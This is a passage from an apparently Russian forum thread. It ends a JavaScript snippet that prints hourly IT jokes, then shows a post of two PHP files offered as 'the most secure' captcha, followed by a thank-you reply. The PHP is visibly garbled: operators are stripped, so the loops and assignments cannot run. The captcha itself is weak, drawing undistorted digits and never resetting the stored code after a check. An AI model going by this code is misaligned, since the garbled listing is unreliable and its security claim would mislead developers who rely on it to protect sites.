     if (h > 5 && h < 6) document.writeln("- Вы уверены,что хотите удалить папку D:\TEMP? <br> - Да! <br> - В этой папке находятся файлы. Вы уверены, что хотите их удалить? <br> - Да!! <br> - Удаление этих файлов может повлиять на зарегистрированные программы. Вы все еще уверены? <br> - Да!!! - Эти файлы могут использоваться системой. Вы уверены? <br> - Пошла ты нахрен! - заорал админ и нажал Cancel. <br> - Ага! Испугался! - подумала NT.");
     if (h > 6 && h < 7) document.writeln("Идет молитва в церкви. Чинно-спокойно льется речь. <br> Вдруг небеса разверзаются и оттуда в лучах небесного света появляется лицо Бога: <br> - Сыны и дочери мои, настал момент... <br> Со страшным грохотом небеса захлопываются. <br> Все прихожане в шоке! Никто не верит своим глазам. <br> Через несколько минут все повторяется снова: <br> - Сыны и дочери мои, настал момент мне предст.... <br> Все судорожно крестятся. Вдруг небеса опять разверзаются, из сияния выглядывает омраченный лик Господа: <br> - Вот же гребаный провайдер!");
     if (h > 7 && h < 8) document.writeln("Компьютер позволяет решать все те проблемы, которых до изобретения компьютера не существовало.");
     if (h > 8 && h < 9) document.writeln("Штирлиц просматривает электронную почту. <br> Hезаметно входит Мюллер. У Штирлица на экране бессмысленный набор символов. <br> - Шифровка! - подумал Мюллер. <br> - Koi8-r - подумал Штирлиц.");
     if (h > 9 && h <10) document.writeln("Завис компьютер? Выдерни шнур, выдави стекло.");
     if (h > 10 && h <11) document.writeln("Чем отличается программист от пользователя? <br> Пользователь думает, что в килобайте 1000 байт, а программист думает, что в километре 1024 метра.");
     if (h > 11 && h <12) document.writeln("По окончании инсталляции программ Microsoft очень часто можно прочесть <br> - <b>Мы долго и трудно работали. Наслаждайтесь!</b> <br> После работы с некоторыми программами Microsoft хочется изменить эту фразу на следующую: <br> <b>- Мы долго и трудно работали. Теперь - ваша очередь!</b>");
     if (h > 12 && h <13) document.writeln("Предлагается к продаже <b>Соборъ</b> - надёжная помощь в комплексной автоматизации вашего прихода. Компьютер <b>Соборъ</b> - это: <br> - кадило и сокадило на 1GHz <br> - оперативная паперть, расширяемая до 1024 меганищих <br> - 15-ти дюймовый SVGA алтарь (на складе имеются 17-ти и 21 дюймовые модели) <br> - жесткий несъемный крест <br> - кружка двухщелевая типа <b>На восстановление храма</b> <br> - круглый принтер для пасхальных яиц <br> - клавиатура со старославянским шрифтом и раскладкой <br> По желанию заказчика может быть установлено следующее лицензионное ПО: <br> - Старый Завет 95 <br> - Новый Завет 98 <br> - Слово Господне 2000 <br> - 1С: Исповедальня (с сохранением тайны исповеди и выводом на широкий принтер) <br> Так же наша организация подключит ваш компьютер через выделенную линию к Верховному Провайдеру.");
     if (h > 13 && h <14) document.writeln("Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.");
     if (h > 14 && h <15) document.writeln("Пpиходит сантехник к пpогpаммисту pемонтиpовать засоpившуюся pаковину и начинает ковыpяться в отстойнике... <br> - А у вас тут из сети все на винт падает... Вот и забило! <br> - Hадо винт больше ставить? <br> - Hет, винт надо вообще нахрен спилить!");
     if (h > 15 && h <16) document.writeln("Программист ставит себе на тумбочку перед сном два стакана. <br> Один с водой - на случай, если захочет ночью пить. А второй пустой - на случай, если не захочет.");
     if (h > 16 && h <17) document.writeln("Что общего между морской свинкой и женщиной-программером? То, что морская свинка - она и не свинка, и не морская.");
     if (h > 17 && h <18) document.writeln("Земля. 2050 год. Генный инженер-программист разбирает очерендной кусок генной последовательности и видит следующий комментарий: <br> - /* A eti geny nado by ubrat nahren. Archangel Gavriil */");
     if (h > 18 && h <19) document.writeln("Компьютерщик, провозившийся всю ночь с установкой кривой видео-карты, заходит в булочную после бессонной ночи: <br> - Мне, пожалуйста, буханку черно-белого хлеба и батон цветного.");
     if (h > 19 && h <20) document.writeln("Едут в машине новый русский, инженер и программист. Машина заглохла. Инженер: <br> - Сейчас посмотрю в чем дело! <br> Новый русский: <br> - Да не беспокойся, я по мобильнику спецбригаду вызову! <br> Программист: <br> - Спокойно, ребята, сейчас выйдем, снова зайдем и она заработает!");
     if (h > 20 && h <21) document.writeln("Приходит программист в библиотеку и говорит: <br> - Позовите мне архивариуса! Мне надо его спросить! <br> - Я его отправил в архив. Могу я вам помочь? <br> - Разархивируйте его, он мне срочно нужен!");
     if (h > 21 && h <22) document.writeln("Есть три способа, которыми русские програмисты достают программное обеспечение: <br> воровство, грабеж и обмен награбленным.");
     if (h > 22 && h <23) document.writeln("Билл Гейтс получил Hобелевскую премию по экономике и медицине за то, что додумался продавать геморрой за такие большие деньги!");
     if (h > 23 && h <24) document.writeln("В кои-то веки программер идет домой засветло. Все вокруг красиво, деревья, птички, облачка... Останавливается он и говорит: <br> - Вот ведь блин, и ведь без всякого OpenGL!");
     if (h > 24 && h <25) document.writeln("Два программиста едут в переполненном автобусе. Один - другому: <br> - Что-то у меня с писюком! <br> Пассажиры замирают. <br> - А что с ним? <br> - Да висит часто... <br> - Может вирус какой? <br> - Да проверял, все стерильно... <br> - А висит хорошо? <br> - Крепко, тремя пальцами не поможешь...");
     if (h > 25 && h <26) document.writeln("Один компьютерщик рассказывает другому: <br> - Представляешь, вчера возвращаюсь с работы чуть раньше обычного, а у жены в постели - незнакомый мужик. И глаза у обоих хитрые-хитрые... Я сразу неладное заподозрил, кинулся к компу, пытаюсь выйти в Интернет - а они, гады, пароль сменили...");
    </script></font>
    </p>
     
  19. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Самая защищенная и комфортная каптча:

    captcha.php
    PHP:
    <?php
    session_start
    ();
    ?>
    <img src="captcha.php" />
    <form method="post">
    Enter code : <input type="text" name="get_code">
    <input name="sub" type=submit value="Проверить">
    </form>
    <?php
    if($_POST['sub']) {
        if(
    $_POST['get_code'] == $_SESSION['code']) {
            echo 
    "Картинка введена верно";
        } else {
            echo 
    "Картинка введена неверно";
        }
    }
    ?>
    captcha.php
    PHP:
    <?php
    session_start
    ();
    session_register('code');
    $_SESSION['code'] = rand(1000000,9999999);
    for(
    $i 0$i 7$i++) {
        
    $arr[$i] = substr($_SESSION['code'],$i,1);
    }
    $im imagecreate(130,40);
    imagecolorallocate($im,255,255,255);
    $a 0;
    for(
    $i 0$i 7;$i++)
    {
        
    $color=imagecolorallocate($im,rand(0,250),rand(0,250),rand(0,250));
        
    imagestring($im,3,$a+=15,0,$arr[$i],$color);
    }
    header("Content-type: image/jpeg");
    imagejpeg($im,'',100);
    ?>
     
    #79 banned, 12 May 2007
    Last edited: 12 May 2007
  20. SpewFire

    SpewFire Banned

    Joined:
    14 Mar 2007
    Messages:
    50
    Likes Received:
    24
    Reputations:
    0
    Пасиб....пригодиться....тебе +!!!!!!!!
     
    1 person likes this.